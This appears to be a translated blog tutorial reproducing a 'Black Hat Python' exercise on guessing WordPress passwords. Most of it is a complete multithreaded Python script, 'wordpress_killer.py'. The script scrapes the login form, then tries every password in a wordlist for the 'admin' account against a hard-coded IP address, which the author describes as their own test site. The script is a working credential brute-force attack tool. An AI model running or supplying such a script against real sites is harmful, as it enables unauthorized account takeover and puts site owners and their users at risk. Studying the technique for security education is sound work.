WordPress login for getting started with Python penetration testing

Recently, I received a network security book presented by the electronic industry press 《python Black hat 》, There are a total of 24 An experiment , Today, I will repeat the 14 An experiment （ Password guessing ）, My test environment is mbp The computer + fellow wordpress Site +conda development environment . There is one saying. , Weak passwords are fragile , But the complex password can't be guessed at all , Need to analyze site POST The request and response are positive , But wait and waste CPU And the Internet is not desirable ～

1、 Look up wordpress Site login page source code

• First GET request , Accept all returned cookie
• Parse the form elements in the return page （ Observe input label ,log Is the user name 、pwd It's a password 、wp-submit It's a submission 、testcookie Is hidden cookie）
• Modify the form elements in the return page （ Set the user name to “admin”, Set the password to every element in the dictionary , The other is constant ）
• Submit POST request

2、 Download the dictionary file

3、 stay mbp Run the script on

Reference code ：

# -*- coding: utf-8 -*-
# @Time : 2022/6/13 9:47 PM
# @Author : ailx10
# @File : wordpress_killer.py
from io import BytesIO
from lxml import etree
from queue import Queue
import requests
import sys
import threading
import time
# SUCCESS = "Welcome to WordPress!"
SUCCESS = " welcome "
TARGET = "http://124.223.4.212/wp-login.php"
WORDLIST = "/Users/ailx10/py3hack/chapter5/cain.txt"
def get_words():
with open(WORDLIST) as f:
raw_words = f.read()
words = Queue()
for word in raw_words.split():
words.put(word)
return words
def get_params(content):
params = dict()
parser = etree.HTMLParser()
tree = etree.parse(BytesIO(content),parser=parser)
for elem in tree.findall("//input"):
name = elem.get("name")
if name is not None:
params[name] = elem.get("value",None)
return params
class Bruter:
def __init__(self,username,url):
self.username = username
self.url = url
self.found = False
print(f"\nBrute Force Attack beginning on {url}.\n")
print("Finished the setup where username = %s\n"%username)
def run_bruteforce(self,passwords):
for _ in range(10):
t = threading.Thread(target=self.web_bruter,args=(passwords,))
t.start()
def web_bruter(self,passwords):
session = requests.Session()
resp0 = session.get(self.url)
params = get_params(resp0.content)
params["log"] = self.username
while not passwords.empty() and not self.found:
time.sleep(1)
passwd = passwords.get()
print(f"Trying username/password {self.username}/{passwd:<10}")
params["pwd"] = passwd
resp1 = session.post(self.url,data=params)
if SUCCESS in resp1.content.decode():
self.found = True
print(f"\nBruteforcing successful.")
print("Username is %s"%self.username)
print("Password is %s\n"%passwd)
print("done.")
if __name__ == "__main__":
words = get_words()
b = Bruter("admin",TARGET)
b.run_bruteforce(words)